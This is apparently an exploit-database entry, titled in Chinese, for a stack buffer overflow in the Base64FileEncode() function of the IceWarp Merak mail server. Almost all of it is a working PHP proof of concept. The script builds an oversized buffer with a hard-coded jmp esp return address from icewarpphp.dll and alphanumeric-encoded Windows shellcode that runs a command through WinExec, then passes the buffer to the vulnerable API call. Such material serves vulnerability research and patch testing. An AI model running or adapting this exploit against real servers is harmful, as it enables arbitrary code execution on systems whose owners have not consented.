IceWarp Merak邮件服务器Base64FileEncode()函数栈溢出漏洞

<?php if (php_sapi_name() <> "cgi-fcgi") { die("Launch from the merak php console!"); } if (!function_exists("icewarp_apiobjectcall")) { die("You need the icewarp extension loaded!"); } $shellcode= //original scode, alpha2 esp <sh.txt "\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53". "\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3 "\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff". "cmd /c start calc && ". "\xff"; $shellcode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP". "8ABuJIJK5CCktqO0rpP1kpOxcsczF3OKdMUumVQlkON3P1". "YPkXhhyokOyo1sPmST10FOqs7PSCrT1q3BrT5pRCaqPlRC". "wPQ6EvgPKOksA"; $eip="\x2c\x47\x4b\x01"; //jmp esp - icewarpphp.dll $bof=str_repeat("A",0x258). "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN". $eip. $shellcode; $_x = icewarp_apiobjectcall(0, '', 'IceWarpServer.APIObject'); $source="AAAA"; $destination=$bof; icewarp_apiobjectcall( $_x, "Base64FileEncode", $source , $destination ); ?>